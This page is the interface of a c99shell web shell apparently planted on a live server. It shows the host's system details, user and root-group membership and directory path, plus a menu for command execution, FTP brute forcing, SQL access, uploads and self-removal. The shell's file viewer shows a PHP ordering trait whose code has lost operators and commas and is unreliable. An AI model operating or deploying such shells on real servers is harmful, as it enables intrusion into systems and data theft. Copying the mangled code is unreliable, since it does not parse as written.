!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-163-generic #173-Ubuntu SMP Tue Oct 14 17:51:00 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/wataxi.picotech.app/public_html/app/Traits/Expedition/   drwxr-xr-x
Free 25.28 GB of 117.98 GB (21.43%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     HasDineIn.php (1.57 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Traits\Expedition;
use 
App\Order;

trait 
HasDineIn
{
    public function 
expeditionRules(){
        return [
            
'dinein_table_id' => ['required']
        ];
    }

    public function 
setAddressAndApplyDeliveryFee(){
            
$this->order->table_id$this->request->dinein_table_id;
            
$this->order->delivery_price0;
            
$this->order->update();
    }

    public function 
setTimeSlot(){
    }

    public function 
findMePreviousOrder(){
        
//1. Get the last order for this table
        
$lastOrdereForTable Order::where('table_id'$this->request->dinein_table_id)
        ->
where('payment_status''unpaid')
        ->
where('payment_method''cod')
        ->
latest('id')
        ->
first();


        
//2. Check if the status is 1 - jc, 3 -accepted, 5-prepared, 7- delivered, 10 - updated, and unpaid
        
if ($lastOrdereForTable != null && in_array($lastOrdereForTable->status->pluck('id')->last(), [1235710])) {
            
//Yes, we can extend this order

            //But make sure vendor supports continues ordering
            
if(!$this->vendor->getConfig('disable_continues_ordering',0)){
                
//Set this order as the order
                
$this->order=$lastOrdereForTable;

                
//Set that it is not KDS finished
                
$this->order->kds_finished=0;
                
$this->order->update();

                
//Apply new status
                
$this->order->status()->attach(10, ['user_id'=>$this->vendor->user_id'comment'=>'Local ordering updated']);
            }
        }

        
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0038 ]--